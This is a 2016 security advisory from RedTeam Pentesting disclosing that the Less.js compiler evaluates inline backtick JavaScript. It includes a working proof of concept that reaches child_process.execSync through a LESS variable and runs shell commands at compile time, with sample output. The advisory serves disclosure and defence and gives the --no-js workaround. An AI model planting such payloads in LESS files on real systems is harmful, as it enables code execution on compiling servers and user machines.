Advisory: Less.js: Compilation of Untrusted LESS Files May Lead to Code Execution through the JavaScript Less Compiler RedTeam Pentesting discovered behaviour in the Less.js compiler, which allows execution of arbitrary code if an untrusted LESS file is compiled. ### Details - Product: Less Compiler - Affected Versions: probably all versions - Fixed Versions: none - Vulnerability Type: Code Execution - Security Risk: low - Vendor URL: `http://lesscss.org/` - Vendor Status: decided not to fix - Advisory URL: `https://www.redteam-pentesting.de/advisories/rt-sa-2016-003` - Advisory Status: published ### Introduction "Less is a CSS pre-processor, meaning that it extends the CSS language, adding features that allow variables, mixins, functions and many other techniques that allow you to make CSS that is more maintainable, themable and extendable. Less runs inside Node, in the browser and inside Rhino. There are also many 3rd party tools that allow you to compile your files and watch for changes." (from the project's homepage) ### More Details The Less project provides a compiler () to transform LESS code into CSS. Among other features, it supports embedded inline JavaScript code in LESS files. To our knowledge, this feature is currently not mentioned in the official documentation provided by the Less project. However, while researching the history of the Less website it was discovered that this feature was indeed documented in the past (). Third parties also document this feature (). The following example shows how this feature can be used. JavaScript code can be embedded in LESS by enclosing it in backticks. In the following, the result of the expression '1+1' is assigned to the variable 'test': ``` $ cat example.less @test: `1+1`; .redteam { redteam: "@{test}" } $ lessc /tmp/example.less .redteam { redteam: "2"; } ``` Besides evaluating simple expressions, JavaScript code embedded in LESS files has access to several global objects. Compiling the following LESS code yields a list of these objects: ``` $ cat list.less @test: `Object.keys(global)`; .redteam { redteam: "@{test}" } $ lessc list.less .redteam { redteam: "global, process, GLOBAL, root, Buffer, clearImmediate, clearInterval, clearTimeout, setImmediate, setInterval, setTimeout, console"; } ``` As the proof of concept section demonstrates, access to these objects allows attackers to craft JavaScript code that executes an arbitrary shell command when it is evaluated in the context of the Less compiler. ### Proof of Concept By passing LESS code that contains malicious embedded JavaScript code to the compiler, attackers can execute arbitrary shell commands during compilation. The following proof of concept shows LESS code, which executes the command 'ls -l /' and embeds the output into the compiled CSS: ``` $ cat cmd.less @cmd: `global.process.mainModule.require("child_process") .execSync("ls -l /")`; .redteam { cmd: "@{cmd}" } $ lessc cmd.less .redteam { cmd: "total 68 lrwxrwxrwx. 1 root root 7 Sep 10 2015 bin -> usr/bin dr-xr-xr-x. 6 root root 4096 Aug 25 09:16 boot drwxr-xr-x. 22 root root 4300 Aug 26 10:22 dev drwxr-xr-x. 161 root root 12288 Aug 26 09:22 etc drwxr-xr-x. 4 root root 4096 Aug 25 13:20 home lrwxrwxrwx. 1 root root 7 Sep 10 2015 lib -> usr/lib lrwxrwxrwx. 1 root root 9 Sep 10 2015 lib64 -> usr/lib64 drwx------. 2 root root 16384 Oct 29 2015 lost+found drwxr-xr-x. 2 root root 4096 Sep 10 2015 media drwxr-xr-x. 2 root root 4096 Sep 10 2015 mnt drwxr-xr-x. 3 root root 4096 Oct 30 2015 opt dr-xr-xr-x. 293 root root 0 Aug 26 08:46 proc dr-xr-x---. 16 root root 4096 Aug 25 13:24 root drwxr-xr-x. 2 root root 4096 Jul 20 09:44 rules.d drwxr-xr-x. 46 root root 1340 Aug 26 09:22 run lrwxrwxrwx. 1 root root 8 Sep 10 2015 sbin -> usr/sbin drwxr-xr-x. 2 root root 4096 Sep 10 2015 srv dr-xr-xr-x. 13 root root 0 Aug 26 08:47 sys drwxrwxrwt. 19 root root 460 Aug 26 10:28 tmp drwxr-xr-x. 12 root root 4096 Oct 29 2015 usr drwxr-xr-x. 22 root root 4096 Aug 26 08:47 var "; } ``` ### Workaround Run the Less compiler with the option --no-js to disable evaluation of JavaScript code. ### Fix No fix available. Release 3.0 is supposed to have JavaScript execution disabled by default. ### Security Risk An attacker can execute arbitrary code by providing a malicious LESS file to the Less compiler. This vulnerability can be exploited in various scenarios: If an application takes user-input and feeds it to the Less compiler, an attacker can gain code execution and compromise the system running the Less compiler. If a user downloads and compiles a malicious LESS file, an attacker can compromise the user's system. RedTeam Pentesting discovered and exploited this vulnerability in a penetration test. However, it became increasingly clear after consultation with the LESS development team that the encountered situation is likely relatively rare. The reason for that is that LESS files are usually compiled on the server-side once and most often do not contain user-supplied content. In cases where LESS files do contain or consist of user-supplied content, the browser-based implementation () of the Less compiler is the typical choice. Still, the official Less documentation does not mention the compiler's feature to evaluate inline JavaScript and the consequential risks. Thus, users are likely to be unaware that embedding user-controlled content into a LESS file may result in arbitrary code execution. Therefore, RedTeam Pentesting decided to release this advisory, to bring the users' attention to this important fact. ### Timeline - 2016-03-18 Vulnerability identified - 2016-05-03 Advisory provided to customer - 2016-05-31 Customer approved disclosure to vendor - 2016-06-24 Advisory sent to vendor - 2016-07-05 Vendor debates whether it is a security issue or a documentation issue - 2016-07-12 Vendor opts for waiting until release 3.0, which disables the option to compile JavaScript by default - 2016-07-14 RedTeam downrates the vulnerability from high risk to low to acknowledge that it is more of a setup issue - 2016-11-24 Still no release 3.0, advisory released ### RedTeam Pentesting GmbH RedTeam Pentesting offers individual penetration tests performed by a team of specialised IT-security experts. Hereby, security weaknesses in company networks or products are uncovered and can be fixed immediately. As there are only few experts in this field, RedTeam Pentesting wants to share its knowledge and enhance the public knowledge with research in security-related areas. The results are made available as public security advisories. More information about RedTeam Pentesting can be found at: